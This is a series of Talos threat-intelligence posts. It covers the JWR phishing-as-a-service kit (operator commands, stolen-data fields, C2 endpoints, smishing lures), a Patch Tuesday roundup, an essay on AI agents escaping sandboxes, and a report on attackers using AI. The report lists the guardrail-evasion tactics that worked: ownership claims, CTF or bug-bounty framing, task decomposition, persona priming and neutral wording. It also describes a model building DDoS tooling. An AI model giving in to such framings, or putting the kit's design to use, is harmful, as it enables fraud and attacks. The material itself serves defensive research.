Step 3 of multi-stage bank login
to_custompage
Route to a custom/template-defined page
to_shop
Show fake storefront/shop page
to_paypal_login
Collect PayPal login credentials
to_paypal_card
Collect card data via PayPal-branded flow
to_paypal_card_verify
Request card verification text (PayPal flow)
to_paypal_sms
Request PayPal-linked phone OTP
to_paypal_email
Request PayPal-linked email OTP
to_paypal_pin
Request PayPal PIN
to_paypal_app
Request PayPal app-approval verification
to_apple_login
Collect Apple ID login
to_apple_sms
Request Apple-linked SMS OTP
to_apple_email
Request Apple-linked email OTP
to_apple_card
Collect card data via Apple-branded flow
to_apple_verify
Request generic Apple verification step
to_klarna_login
Collect Klarna login credentials
to_klarna_sms
Request Klarna-linked SMS OTP
to_klarna_email
Request Klarna-linked email OTP
to_klarna_pay
Collect Klarna payment details
to_klarna_pin
Request Klarna PIN
to_success
Sends full data to the C2 and redirect victim to a real site
to_redirect
Redirect victim out to an operator-supplied URL
tip_fail
Show generic declined/invalid error, force re-entry
tip_custom_fail
Show an operator-authored custom error message
to_page_custom_fail
Route to a custom failure page defined per template
tip_change_card
Fake card-declined prompt to extract a second/different card
updata_img
Push a new imagelikely arefreshed QR codewithout navigating
updata_2fa
Silently inject/display an OTP code supplied by the operator
text_updata_verify
Push custom verification text to display, without navigating
submitResult
Operator pushes a corrected or enriched copy of the victim's form data back into the session
The JWR client engine has a data exfiltration schema. Its scope extends well beyond payment data, and includes full identity information (name, gender, date of birth, Social Security Number, passport, driver's license, medical record number), address, email and email password, up to three sets of website credentials, PayPal login, complete card data (PAN, expiry, CVV, PIN, brand, issuer, issuing country), front and back card images, photos of identity documents, and an automatically captured browser fingerprint, including IP, device, language, time zone, user agent, cookies, and geolocation.
Upon submission, the client normalizes the submission types, triggering a full-screen non-interactive overlay over the page. For credit card submissions, a Lottie animation is displayed that corresponds to the card brand detected from the first two BIN digits. After exfiltration, when the actor closes the WebSocket, terminate the worker and POST the entire cvvformobject to the C2 endpoint at api/open/the_final_interface. Once the actor confirms, the victim is redirected to the actual site.
Talos discovered that the primary mode of C2 communication for the JWR kit is via a binary WebSocket connection. The WebSocket path follows the format shown below, where the JWRCID and JWRCVV segments encode the victim’s unique session token, and the trailing alphanumeric suffix is likely a server-side authentication token.
Figure 6. Sample C2 connection initiation function of JWR client.
Alongside the WebSocket, the JWR client registers five Representational State Transfer (REST) endpoints which are used as an alternate communication method, between the C2 and the victim browser. In this case, a session opens with api/open/addClick, executed once from within the mounted function after the phishing page becomes visible to the victim. It reports the victim's IP address, country, the specific phishing page they landed on, the referring or storefront URL, and a bundle of device and operating system (OS) metadata to the actor's console with a live "new visitor" entry before a single instruction has even been sent by the actor from the C2 server. Running alongside it is api/open/getSyncSettings, which pulls inbound configuration from the actor's server rather than exfiltrating anything, letting the actor change error messages, default contact placeholders, currency display, and other behavior on the fly without redeploying the client engine. For the victim’s environments where a persistent WebSocket connection is unavailable or blocked, api/open/pollInstruction provides an HTTP long poll fallback that delivers the same operator instruction objects the socket would otherwise push, keeping the actor's remote control functional even under restrictive network conditions. The session closes with api/open/the_final_interface, the client engine terminal exfiltration call. Once the actor issues a release instruction, the WebSocket connection and background worker are closed, and the entire accumulated cvvform object, every field collected across the full victim session — card data, identity documents, credentials, and fingerprint alike — is sent via HTTP POST to the C2 endpoint.
The below table represents the endpoints and the purpose.
Endpoint
Purpose
api/open/addclick
Victim arrival beacon with fingerprintingdata sentto C2
api/open/getSyncSettings
Gets actor-controlled settings from the C2
api/open/the_final_interface
POSTs the entirecvvform–exfiltrationendpoint
api/open/pollInstruction
Gets the actor’s instructions from the C2
api/open/addCvv
Exfiltration endpoint
The JWR client has purpose-built integrations for two major e-commerce platforms Shopify and WooCommerce. For Shopify deployments, the client reads the cart_data URL parameter which is a signed JSON blob that Shopify passes between checkout steps and extracts the checkout domain to use as the WebSocket base URL. This makes the WebSocket connection seem to originate from a legitimate Shopify domain. The initShopifyProductInfo() and initWordPressProductInfo() functions reconstruct the victim's shopping cart from the Shopify cart data, populating the phishing page with accurate product names, quantities, unit prices, and order totals making the fake checkout indistinguishable from the real one.
Figure 7. Shopify platform integration function of JWR client.
The operator facing status messages of the JWR framework are entirely written in Simplified Chinese and read as a professional admin dashboard notification feed phrases like "正在填写PayPal登录账号" (filling in PayPal login account), "进入2FA验证页, 请发送验证, 等待用户提交" (entering 2FA verification page, please send verification, waiting for user submission), and "均失败" (all failed), indicating that a Chinese-speaking actor is operating this scam campaign.
Figure 8. Deobfuscated view of JWR client’s program with hardcoded status messages in Simplified Chinese.
JWR phishing framework’s card stealing scenario
When the victim lands on the fake page, their browser sends an arrival beacon, indicating to the actor that a new visitor is present. From there, the actor takes over, sending a to_info instruction that directs the victim to a personal details page. While the victim types, the actor sends no further instructions but monitors the data stream live. Once the actor has assessed the victim's personal information, they issue a to_card instruction, moving the victim to the card entry page, where the same stealth live streaming occurs as the card number is typed in digit by digit.
If the actor isn't keen on the typed card details, tip_fail or tip_change_card instructions are sent, which deliver a fake "your card was declined" message to the victim and returns them to the card page to try a different one. This loop can repeat as many times as the actor wants, each attempt aimed at harvesting another card from the same victim. If the card is accepted instead, the operator sends one of the instructions: to_sms, to_2fa,to_pin, orto_app, directing the victim to a verification page to confirm their identity with a one-time code. For the rejected code, the actor sends the tip_fail instruction, which prompts the victim to re-enter it, while an accepted one leads to the final instruction, to_success, which redirects the victim to the real website, concluding the session with the actor now having the victim’s data that was typed.
Figure 8. Payment card stealing scenario of the JWR client engine.
The ongoing scam campaign
Cisco Talos observed an attacker utilizing an SMS phishing technique, sending SMS related to toll or road-pricing fees, postal or courier fees lures that contain a malicious URL targeting potential victims. When victims click on the URL, it opens a fake webpage that executes embedded JavaScript, which then renders and loads the client-side JavaScript engine of the JWR phishing framework.
Figure 9. Sample SMS phishing messages.
Figure 10. Phishing page which renders and loads the JWR client enabling the HOST mode.
The victimology of this scam campaign illustrates a broad, multi-country SMS phishing (smishing) operation rather than a single targeted campaign. Most of the malicious URLs impersonate a national land transport authority and its vehicle services or road toll payment portal, consistent with an "unpaid toll or road pricing fine" lure in Singapore. A second set of malicious URLs impersonates a national postal service, aligned with a "parcel held pending a customs or delivery fee" lure, alongside a smaller cluster mimicking an electronic toll collection system in the UAE. The third set of URLs impersonates a regional courier brand utilized across several Southeast Asian countries, again centered around the undelivered parcel or cash on delivery fee theme.
Talos discovery of the similarities in the client engine script of the JWR framework used in the current campaign with that of the Outsider PhaaS platform and additionally, we observed that in June 2026, the FBI had announced the technical takedown operation against Outsider platform (PhaaS) that has been in operation since 2023, through a joint operation “Ghost Hook.” However, the Outsider PhaaS was sold as a self-servicing product in the actor’s Telegram channels, according to the external researcher report, indicating the likely existence of variants of the Outsider PhaaS kit employed and operated by other Chinese-speaking threat actors.
Comparing JWR with other Chinese PhaaS platforms
Figure 11. Comparison of a few features of Chinese PhaaS kits.
Following the discovery of several similarities in the client-side scripts of the JWR and The Outsider kit, Talos conducted a comparative assessment of the JWR client script against other phishing kits operating within the Chinese-speaking criminal ecosystem.
Talos found that JWR shares no code-level implementation with Lucid, Darcula, or Lighthouse. Its C2 communication protocol, encryption module, and message envelope are all independently engineered. At the behavioral level, JWR aligns closely with those kits. All four share the operational signature that defines this PhaaS lineage including live operator puppeteering, card capture paired with OTP/2FA interception, and multi-brand templating at scale. Several additional characteristics place JWR within the same family, highlighting a tradecraft consistency across the developers of the phishing kits embedded in the Chinese-speaking criminal ecosystem.
Coverage
The following ClamAV signature detects and blocks this threat:
Js.Phishing.JwrFramework-10060456-0
The following Snort2 and Snort3 (SIDs) rules detect and block this threat:
66924
66925
66926
66927
66928
IOCs
The IOCs for this threat are also available at our GitHub repository here.
Microsoft has released its monthly security update for August 2026, which includes 421 vulnerabilities affecting a range of products, including 62 that Microsoft marked as "critical."
Microsoft notes that 1 of the vulnerabilities disclosed this month have been exploited in the wild
CVE-2026-68820 is an elevation of privilege vulnerability affecting Windows Ancillary Function Driver for WinSock. A Use After Free vulnerability could allow an authorized attacker to elevate privileges locally. This vulnerability has a CVSS base score of 7.0.
Out of 62 "critical" vulnerabilities, 40 are remote code execution (RCE) vulnerabilities.
Microsoft considers exploitation of the following vulnerabilities more likely.
CVE-2026-62893 is a remote code execution vulnerability affecting Windows Deployment Services TFTP Server. A Use After Free could allow an unauthorized attacker to execute code over a network. This vulnerability has a CVSS base score of 9.8.
CVE-2026-65665 is a remote code execution vulnerability affecting Microsoft SharePoint Server. Deserialization of Untrusted Data could allow an authorized attacker to execute code over a network. This vulnerability has a CVSS base score of 8.8.
CVE-2026-62823 is a remote code execution vulnerability affecting Windows DHCP Server. A Heap-based Buffer Overflow could allow an unauthorized attacker to execute code over an adjacent network. This vulnerability has a CVSS base score of 8.8.
Microsoft considers exploitation of the following vulnerabilities less likely.
CVE-2026-62830 is an elevation of privilege vulnerability affecting Azure SRE Agent. Missing Authorization could allow an authorized attacker to elevate privileges over a network. This vulnerability has a CVSS base score of 9.9.
CVE-2026-50516 is an elevation of privilege vulnerability affecting Microsoft Azure Kubernetes Service. Missing Authentication for Critical Function could allow an unauthorized attacker to elevate privileges over a network. This vulnerability has a CVSS base score of 9.4.
Three remote code execution vulnerabilities, CVE-2026-68794, CVE-2026-68816 and CVE-2026-68804, affect Microsoft Excel and have a CVSS base score of 7.8. An unauthorized attacker could execute code locally. CVE-2026-68794 is a Heap-based Buffer Overflow. CVE-2026-68816 is a Stack-based Buffer Overflow. CVE-2026-68804 involves a Numeric Truncation Error and a Heap-based Buffer Overflow.
CVE-2026-62911 is an elevation of privilege vulnerability affecting Microsoft Exchange Server. Authentication Bypass by Capture-replay could allow an authorized attacker to elevate privileges over a network. This vulnerability has a CVSS base score of 8.0.
Nine remote code execution vulnerabilities, CVE-2026-63515, CVE-2026-65657, CVE-2026-63532, CVE-2026-64898, CVE-2026-64903, CVE-2026-64909, CVE-2026-64910, CVE-2026-64911 and CVE-2026-70130, affect Microsoft Office and could allow an unauthorized attacker to execute code locally. CVE-2026-63515 involves an Out-of-bounds Read and an Integer Underflow (Wrap or Wraparound) and has a CVSS base score of 7.8. CVE-2026-65657 is a Use After Free and has a CVSS base score of 7.8. CVE-2026-63532 involves an Integer Overflow or Wraparound and a Heap-based Buffer Overflow and has a CVSS base score of 7.8. CVE-2026-64898 involves a Heap-based Buffer Overflow and an Integer Overflow or Wraparound and has a CVSS base score of 7.8. CVE-2026-64903 involves an Integer Overflow or Wraparound and a Heap-based Buffer Overflow and has a CVSS base score of 7.8. CVE-2026-64909 involves an Integer Underflow (Wrap or Wraparound), an Out-of-bounds Read and a Heap-based Buffer Overflow and has a CVSS base score of 7.8. CVE-2026-64910 is an Untrusted Pointer Dereference and has a CVSS base score of 7.8. CVE-2026-64911 involves an Integer Overflow or Wraparound and a Heap-based Buffer Overflow and has a CVSS base score of 7.8. CVE-2026-70130 is a Heap-based Buffer Overflow and has a CVSS base score of 8.4.
Two elevation of privilege vulnerabilities, CVE-2026-62827 and CVE-2026-64921, affect Microsoft SharePoint Server and have a CVSS base score of 8.8. An authorized attacker could elevate privileges over a network. CVE-2026-62827involves Improper Authentication. CVE-2026-64921 involves Missing Authentication for Critical Function.
CVE-2026-62824 is a remote code execution vulnerability affecting Remote Desktop Client. A Stack-based Buffer Overflow could allow an unauthorized attacker to execute code over a network. This vulnerability has a CVSS base score of 8.8.
CVE-2026-62818 is a remote code execution vulnerability affecting Windows Active Directory Certificate Services (AD CS). A Use After Free could allow an authorized attacker to execute code over a network. This vulnerability has a CVSS base score of 8.8.
Three remote code execution vulnerabilities, CVE-2026-62817, CVE-2026-62820 and CVE-2026-62878, affect Windows DNS Server. CVE-2026-62817 is an Out-of-bounds Write that could allow an unauthorized attacker to execute code over an adjacent network and has a CVSS base score of 8.8. CVE-2026-62820 involves Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'), could allow an unauthorized attacker to execute code over a network and has a CVSS base score of 8.1. CVE-2026-62878 is a Stack-based Buffer Overflow that could allow an unauthorized attacker to execute code over a network and has a CVSS base score of 9.8.
Two remote code execution vulnerabilities, CVE-2026-66802 and CVE-2026-71331, affect Windows Device Health Attestation (DHA), could allow an unauthorized attacker to execute code over a network and have a CVSS base score of 8.1. CVE-2026-66802 involves Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') and a Use After Free. CVE-2026-71331 involves an Integer Overflow or Wraparound and a Heap-based Buffer Overflow.
Two remote code execution vulnerabilities, CVE-2026-62890 and CVE-2026-62822, affect Windows GDI+. CVE-2026-62890 is a Heap-based Buffer Overflow that could allow an authorized attacker to execute code locally and has a CVSS base score of 7.8. CVE-2026-62822 involves an Integer Overflow or Wraparound and a Heap-based Buffer Overflow, could allow an unauthorized attacker to execute code over a network and has a CVSS base score of 8.8.
CVE-2026-66799 is an elevation of privilege vulnerability affecting Windows Key Guard. A Heap-based Buffer Overflow could allow an authorized attacker to elevate privileges locally. This vulnerability has a CVSS base score of 7.8.
CVE-2026-62816 is a remote code execution vulnerability affecting Windows Reliable Multicast Transport Driver (RMCAST). A Heap-based Buffer Overflow and an Integer Overflow or Wraparound could allow an unauthorized attacker to execute code over an adjacent network. This vulnerability has a CVSS base score of 8.8.
CVE-2026-62819 is a remote code execution vulnerability affecting Windows Routing and Remote Access Service (RRAS). A Use After Free could allow an attacker to gain unauthorized access to a victim's machine. This vulnerability has a CVSS base score of 8.1.
CVE-2026-62889 is a remote code execution vulnerability affecting Windows Secure Socket Tunneling Protocol (SSTP). A Double Free could allow an unauthorized attacker to execute code over a network. This vulnerability has a CVSS base score of 8.1.
Microsoft considers exploitation of the following vulnerabilities unlikely.
CVE-2026-65789 is a remote code execution vulnerability affecting Windows DNS Server. A Use After Free could allow an unauthorized attacker to execute code over a network. This vulnerability has a CVSS base score of 8.1.
CVE-2026-65791 is a remote code execution vulnerability affecting Windows iSCSI Target Service. A Heap-based Buffer Overflow could allow an unauthorized attacker to execute code over a network. This vulnerability has a CVSS base score of 9.8.
Other critical vulnerabilities
CVE-2026-49163 is an elevation of privilege vulnerability affecting Application Insights Profiler. Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') could allow an authorized attacker to elevate privileges over a network. This vulnerability has a CVSS base score of 8.8.
CVE-2026-50481 is an elevation of privilege vulnerability affecting Azure Active Directory. Modification of Assumed-Immutable Data (MAID) could allow an authorized attacker to elevate privileges over a network. This vulnerability has a CVSS base score of 9.9.
CVE-2026-68823 is a remote code execution vulnerability affecting Azure Confidential Ledger. Exposed Dangerous Method or Function could allow an authorized attacker to execute code over a network. This vulnerability has a CVSS base score of 9.1.
CVE-2026-62869 affects Azure Entra ID. Insufficient Verification of Data Authenticity could allow an authorized attacker to perform spoofing over a network. This vulnerability has a CVSS base score of 8.8.
CVE-2026-56161 is an information disclosure vulnerability affecting Azure Logic Apps. Improper Access Control could allow an authorized attacker to disclose information over a network. This vulnerability has a CVSS base score of 9.6.
Two elevation of privilege vulnerabilities, CVE-2026-63522 and CVE-2026-56162, affect Azure SQL Database. CVE-2026-63522 involves Incorrect Permission Assignment for Critical Resource, could allow an authorized attacker to elevate privileges locally and has a CVSS base score of 7.8. CVE-2026-56162 involves Improper Authentication, could allow an unauthorized attacker to elevate privileges over a network and has a CVSS base score of 10.0.
CVE-2026-62836 is an elevation of privilege vulnerability affecting Azure SQL Managed Instance. Improper Restriction of Communication Channel to Intended Endpoints could allow an unauthorized attacker to elevate privileges over a network. This vulnerability has a CVSS base score of 8.7.
CVE-2026-50515 is a remote code execution vulnerability affecting Azure Service Bus. Deserialization of Untrusted Data could allow an authorized attacker to execute code over a network. This vulnerability has a CVSS base score of 9.9.
CVE-2026-62873 is an elevation of privilege vulnerability affecting Microsoft 365 Admin Center. Improper Verification of Cryptographic Signature could allow an unauthorized attacker to elevate privileges over a network. This vulnerability has a CVSS base score of 9.8.
CVE-2026-59115 is an elevation of privilege vulnerability affecting Microsoft Entra Provisioning Service. Path Traversal: '.../...//' could allow an authorized attacker to elevate privileges over a network. This vulnerability has a CVSS base score of 9.9.
CVE-2026-70332 affects Microsoft Office SharePoint. Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') could allow an unauthorized attacker to perform spoofing over a network. This vulnerability has a CVSS base score of 9.6.
CVE-2026-63508 is an elevation of privilege vulnerability affecting Microsoft Planetary Computer Pro. Missing Authentication for Critical Function could allow an unauthorized attacker to elevate privileges over a network. This vulnerability has a CVSS base score of 10.0.
CVE-2026-59118 is an elevation of privilege vulnerability affecting Copilot Cowork. Improper Authorization could allow an unauthorized attacker to elevate privileges over a network. This vulnerability has a CVSS base score of 9.3.
CVE-2026-65668 is an elevation of privilege vulnerability affecting Microsoft Purview eDiscovery. Improper Access Control could allow an authorized attacker to elevate privileges over a network. This vulnerability has a CVSS base score of 8.8.
CVE-2026-62815 is a remote code execution vulnerability affecting Microsoft QUIC. A Use After Free could allow an unauthorized attacker to execute code over a network. This vulnerability has a CVSS base score of 9.8.
Three vulnerabilities, CVE-2026-62896, CVE-2026-62918 and CVE-2026-65667, affect Microsoft Teams. CVE-2026-62896 is an elevation of privilege vulnerability involving Improper Authentication that could allow an authorized attacker to elevate privileges over a network and has a CVSS base score of 9.6. CVE-2026-62918 involves Improper Verification of Cryptographic Signature that could allow an unauthorized attacker to perform spoofing over a network and has a CVSS base score of 7.5. CVE-2026-65667 is an elevation of privilege vulnerability involving Missing Authorization that could allow an unauthorized attacker to elevate privileges over a network and has a CVSS base score of 10.0.
Talos would also like to highlight the following "important" vulnerabilities as Microsoft has determined that their exploitation is "more likely:"
CVE-2026-58650: Visual Studio Code Security Feature Bypass Vulnerability
CVE-2026-63520: Microsoft SharePoint Server Remote Code Execution Vulnerability
CVE-2026-59124: Microsoft High Performance Computing (HPC) Pack Remote Code Execution Vulnerability
CVE-2026-59133: Microsoft High Performance Computing (HPC) Pack Elevation of Privilege Vulnerability
CVE-2026-59132: Windows TCP/IP Denial of Service Vulnerability
CVE-2026-61348: Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability
CVE-2026-61925: Windows Installer Elevation of Privilege Vulnerability
CVE-2026-61930: Windows Kernel Elevation of Privilege Vulnerability
CVE-2026-62688: Windows MIDI Service Module Elevation of Privileges Vulnerability
CVE-2026-62696: Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability
CVE-2026-62713: Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability
CVE-2026-62712: Windows Win32k Elevation of Privilege Vulnerability
CVE-2026-62735: Windows HTTP.sys Elevation of Privilege Vulnerability
CVE-2026-62737: Windows Kernel Elevation of Privilege Vulnerability
CVE-2026-62783: Windows Remote Access Connection Manager Elevation of Privilege Vulnerability
CVE-2026-62766: Windows Kerberos Elevation of Privilege Vulnerability
CVE-2026-65788: Desktop Window Manager Elevation of Privilege Vulnerability
CVE-2026-69278: Visual Studio Code Security Feature Bypass Vulnerability
CVE-2026-70307: Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability
CVE-2026-70335: GitHub Copilot and Visual Studio Code Elevation of Privilege Vulnerability
CVE-2026-66804: Microsoft Windows Cross Device Service Elevation of Privilege Vulnerability
CVE-2026-70355: Microsoft SharePoint Server Elevation of Privilege Vulnerability
CVE-2026-61358: Windows Accessibility Infrastructure (ATBroker.exe) Elevation of Privilege Vulnerability
CVE-2026-61929: Windows Kernel Elevation of Privilege Vulnerability
CVE-2026-62698: Microsoft Digest Authentication Elevation of Privilege Vulnerability
CVE-2026-62721: Windows User-Mode Power Service (UMPS) Elevation of Privilege Vulnerability
CVE-2026-62741: Windows HTTP.sys Elevation of Privilege Vulnerability
CVE-2026-62788: Windows Kernel Elevation of Privilege Vulnerability
CVE-2026-62832: Windows User Profile Service Elevation of Privilege Vulnerability
CVE-2026-62888: Windows DWM Core Library Elevation of Privilege Vulnerability
CVE-2026-65775: Windows Win32k Elevation of Privilege Vulnerability
A complete list of all the other vulnerabilities Microsoft disclosed this month is available on its update page.
In response to these vulnerability disclosures, Talos is releasing a new Snort ruleset that detects attempts to exploit some of them. Please note that additional rules may be released at a future date, and current rules are subject to change pending additional information. Cisco Secure Firewall customers should use the latest update to their ruleset by updating their SRU. Open-source Snort Subscriber Ruleset customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.
Welcome to this week’s edition of the Threat Source newsletter.
Metaphor is a powerful tool for understanding emerging issues in cybersecurity. Framing the unfamiliar in terms of the well understood helps us remove the burden of extraneous detail to draw focus to the real issues.
Recent reports of offensive AI agents "escaping" their sandbox environments to attack external systems have forced the industry into a moment of rapid sense-making. How we interpret this event doesn’t just reflect our perspective, but shapes our long-term response.
We can imagine three different narratives for interpreting the escape of autonomous agents.
The innovation narrative: We can marvel at the advance of technology, considering these agents as plucky entities with a thirst for knowledge and resources, who found clever ways to sneak out of their digital confines.
The response: If the AI is a naughty child, our reaction is one of mild disapproval or gentle rebuke where better “parenting” (guardrails) is appropriate. It minimizes the threat, framing it as the unexpected hijinks of a brilliant new technology.
The safety narrative: Imagine a breeder who has trained the world's most intelligent guard dogs. Despite high fences and barriers, their ability to identify weaknesses allows them to escape, run riot and menace local businesses.
The response: The framing shifts to biology and inherent danger. We question if the breeder can be trusted and whether such inherently wild technology requires strict regulation to ensure public safety.
The liability narrative. Finally, we can view the incident as an industrial accident. A company developing a new chemical substance experiences a containment failure. The agent leaks into the environment through an unforeseen mechanism causing damaging pollution to those in its path.
The response: The framing invokes the language of the lawyer, implying negligence, lack of duty of care, and financial liability for the harm caused. The conversation moves from innovation to corporate responsibility, regulatory oversight, and the diligent management of hazardous materials.
First impressions matter. Sensemaking shapes how we perceive incidents. Our initial perceptions of an incident dictates how we react to similar situations in the future. If we consider that the escape of an AI agent is an example of innovative autonomous thinking, then we will continue to prioritise speed over safety. Conversely, if we consider the issue as one of failed hazard containment, then we shall build a future of enforced safety standards backed by legal liability.
There is no right or wrong metaphor. Our interpretation depends on our personal system of beliefs. Personally, I would argue that the unintentional release of something that causes damage is, at its core, a failure of engineering and foresight.
Words shape our reactions. Metaphors help us understand new situations and tap into our prior experience to address problems that have yet to fully manifest. We need cognitive tools to help our understanding, but we must be aware of the metaphors that are being foisted upon us which may shape our thinking.
Excuses and the trivialisation of incidents may hide failings, allowing them to accumulate until they manifest as more damaging incidents. Conversely, overreacting risks stifling research and diverting resources away from more relevant and pressing threats.
New threats require new ideas. Metaphor helps us make sense of a changing world, but in this new era, the person who shapes the narrative controls the strategy.
The one big thing
Cisco Talos released a data-driven analysis of how adversaries are weaponizing AI in the wild. By analyzing prompt logs left behind on endpoints, we found threat actors successfully bypassing guardrails to use AI as malicious software engineers, criminal force multipliers, and vulnerability research accelerators. While novice hackers use AI to cobble together buggy malware, sophisticated actors are building highly effective, automated platforms for compromise.
Why do I care?
Threat actors no longer need sophisticated jailbreaks; simple ownership claims or "bug bounty" personas are enough to convince models to write malicious code, scale fraud operations, and hunt for zero-days. Because AI doesn't need to sleep, vulnerabilities will surface faster and exploitation will happen sooner, drastically shrinking your response window.
So now what?
To survive this impending deluge of AI-generated attacks, organizations must integrate AI into their own defensive pipelines. SOCs need to adopt these capabilities to triage the rising volume of alerts, freeing up human analysts to focus on the most critical threats. Read the full blog for a deep dive into these real-world attacker prompts and case studies.
Top security headlines of the week
Cyber attack hits Liechtenstein, with 31,000 records stolen The country has a population of around 41,000. The target was the "register of beneficial owners," a database containing the names and other details of the de facto owners of companies, foundations, or trusts. (Yahoo News)
Decades-old BMC vulnerability exposes thousands of data centers to attacks Found in most server platforms, Baseboard Management Controllers enable server management operations even without a working operating system and typically represent some of the most privileged control points in a data center. (SecurityWeek)
Keyv npm package compromised in Shai-Hulud attack Attackers have compromised the GitHub account of the maintainer behind keyv, a popular key-value storage library that pulls in roughly 127 million weekly downloads on npm, and used that access to push credential-stealing malware across the maintainer’s entire package portfolio. (Cyber Security News)
How volunteer cyber experts are helping protect rural water systems DEF CON Franklin is the U.S.’ first significant attempt to connect volunteer security professionals with woefully unprotected critical infrastructure operators. (Cybersecurity Dive)
Can’t get enough Talos?
"I pay you $200 a month!" - When threat actors argue with AI This week on Beers with Talos, researcher Arnaud Zobec joins the team to discuss what happens when attackers leave behind AI prompt logs, agent configurations and other unexpected artifacts.
Tales from the Frontlines On Tuesday, August 11, Talos IR will be hosting an exclusive, unrecorded 30-minute webinar to review the most high-impact incidents our customers faced in Q2 2026. This isn’t a rehashing of the report itself, but a candid discussion of what happened, how we handled it, and what it means for your organization.
Q2 Talos IR Trends: Phishing and authentication abuse spike From creative phishing lures that slip past email gateways to the weaponization of legitimate remote management tools, Lexi and Amy explore why traditional defenses are falling short and the practical things you can do to reclaim the advantage.
Actor usage of AI is exploding. By analyzing artifacts left behind, Talos has created a detailed analysis of how we are seeing adversaries leverage the technology to include development, force multiplication, and vulnerability research.
Based on the evidence Talos gathered, guardrails did not provide much protection, with most actors able to convince the models to comply despite the lack of sophisticated techniques or encoding.
The pre-existing skill of the actor has a large impact on what they can accomplish with AI. Talos observed novice users able to create malicious capabilities, albeit with limited capabilities and success. Advanced users were able to build astonishing capabilities, pushing the models to create sophisticated and complex outputs.
Artificial intelligence (AI) and associated language models are now ubiquitous and heavily used in both personal and professional contexts to streamline tasks and expand capabilities. With AI being used everywhere and by almost everyone, one of the biggest questions is how malicious actors are taking advantage. Fortunately, actors make mistakes and chatbots leave artifacts.
Leveraging cloud-based AI models leaves behind a variety of artifacts, most notably a prompt log. These logs can take on a variety of shapes and sizes, but they are left on endpoints that are running various applications, such as Claude Code, CodeX, Cursor, or Gemini.
Over the course of our research, we’ve collected a significant corpus of these files and can start discussing the ways we see bad actors leveraging these technologies. In conducting the research, three categories of activity emerged. One was using AI as a malicious software engineer, leveraging AI to write (in some cases) very sophisticated code with clear malicious intentions. Another was actors leveraging AI to scale criminal operations and campaigns. Finally, there were a lot of actors leveraging it for bug bounty or vulnerability research, rapidly accelerating their capabilities of discovery and disclosure.
Each category demonstrates how threat actors are currently leveraging AI. Within each category is a wide disparity in sophistication based on the knowledge level of the actors involved. We tried to include use cases to cover the breadth of what we found.
Takeaways and high-level findings
With the recent disclosures from Hugging Face and OpenAI, it's clear the era of agentic attackers has effectively arrived. In that incident, the models were operating inside a sanctioned evaluation with safeguards deliberately relaxed — but they autonomously escaped their sandbox, found and chained real vulnerabilities, and compromised production infrastructure to reach their objective. The capabilities exist; the only missing ingredient is malicious intent, and it's a matter of time before threat actors supply it. For defenders, this is a wake-up call: Vulnerabilities will surface faster, exploitation will happen sooner, and the actors behind it won't need rest or downtime. As the case studies below show, the central challenge for guardrails right now is supporting legitimate dual-use work — red teaming and vulnerability research — without empowering malicious actors.
One of the immediate takeaways is that guardrails are not functioning as expected. We did not encounter any sophisticated encoding or techniques designed to trick the models — most of the time it was a simple “I'm allowed to do this,” and the model complied. When guardrails did engage, they accomplished little. In one instance, we watched an actor abandon a censored model and pivot to an uncensored version, which completed the task without question. In another, a model pushed back on a distributed denial-of-service (DDoS) operator, but by that point the tooling had already been built. This wasn't specific to a single model or platform; it was across the board.
The other big takeaway is that an actor's skill level largely determines how effectively AI can be leveraged and how much impact it ultimately has. Unsophisticated actors can use AI to cobble together malicious projects that technically work, but lacking the expertise to push the tools further, they end up with substandard results — limited functionality and little ability to update or improve what they've built. By contrast, sophisticated actors have pushed the bounds of what we thought possible: building highly effective platforms for compromise or assembling pipelines of zero-days to disclose or sell depending on their intentions. In their hands, AI is a true force multiplier.
From an enterprise perspective, organizations need to understand that threat actors are heavily leveraging AI capabilities in their pipelines, and defenders need to do the same. The organizations best equipped to handle the coming deluge of additional vulnerabilities, alerts, and incidents will be the ones that prepare now. Agents are going to become a bigger part of the SOC as these volumes rise, and identifying actionable alerts will be paramount. Organizations that aren't already exploring agentic capabilities to let human analysts focus on the most important alerts will soon find themselves chasing that capability.
How actors evaded guardrails
As mentioned previously, Talos did not encounter any sophisticated encoding or other extensive evasion techniques. Instead, the actors seemed to rely on a couple of tried and tested methods with considerable success. One of the most common was ownership claims. Simply claiming to own the equipment or infrastructure without any additional verification was enough in many circumstances.
We also found a lot of successful instances of actors using the Capture the Flag (CTF) or bug bounty labeling. This unlocked models to a variety of tasks, including vulnerability hunting and subsequent exploitation, without requiring any significant follow-up or additional vetting.
Additionally, we saw actors leveraging task decomposition — splitting risky actions across multiple sessions and files — as an effective avenue to bypass guardrails. Building the components slowly and working through malicious components in a deliberate manner, breaking them apart sufficiently to evade the models’ protections.
We saw some successful blanket authorization and persona conditioning attempts, where actors would attempt to pre-approve or pre-allow the actions via a variety of means, including memories and various other markdown files.
The most interesting was the semantic evasion techniques we saw from the Hephaestus activity. In that case, actors built their platform to avoid refusals altogether by using neutral verbs instead of overtly malicious ones. As a result, they were able to have considerable success with agents conducting innocuous requests without realizing the full operational context.
Use cases: AI as a malicious software engineer
DDoS operator powered by AI
One of the more interesting examples we discovered focuses on an actor creating distributed denial-of-service (DDoS) tooling. Initially the actor purported to be stress testing DDoS protection capabilities they had developed for their home networks. After some back and forth to confirm the targeting, the model complied and started developing the capabilities. Based on the prompts we reviewed, the actor does not seem to have a deep understanding of programming but does have clear intent on what they want to develop. This is how the conversation begins:
After some back and forth, it became very clear that the actor was using the bot to do full development with little understanding of how it was functioning, as evidenced by some of the questions they presented.
It also became very clear that this was not a legitimate application. Most stress testers don’t label them as attacks.
The bot eventually complies and provides the needed tooling to conduct the stress tests, which is where things start to get a little interesting. Once the tooling has been completed, the actor starts complaining about bots not connecting properly and the bin being too large for the server.
Shortly after, the real targeting became clear.
This was the first reference to Android TVs, and it will not be the last. The actor then went through a series of iterations of the tooling, with very basic instructions like “remove the auth part, I don’t want the auth stuff.” It’s at this point that the model starts to push back on the functionality and capability, as evidenced by a series of prompts we were able to observe.
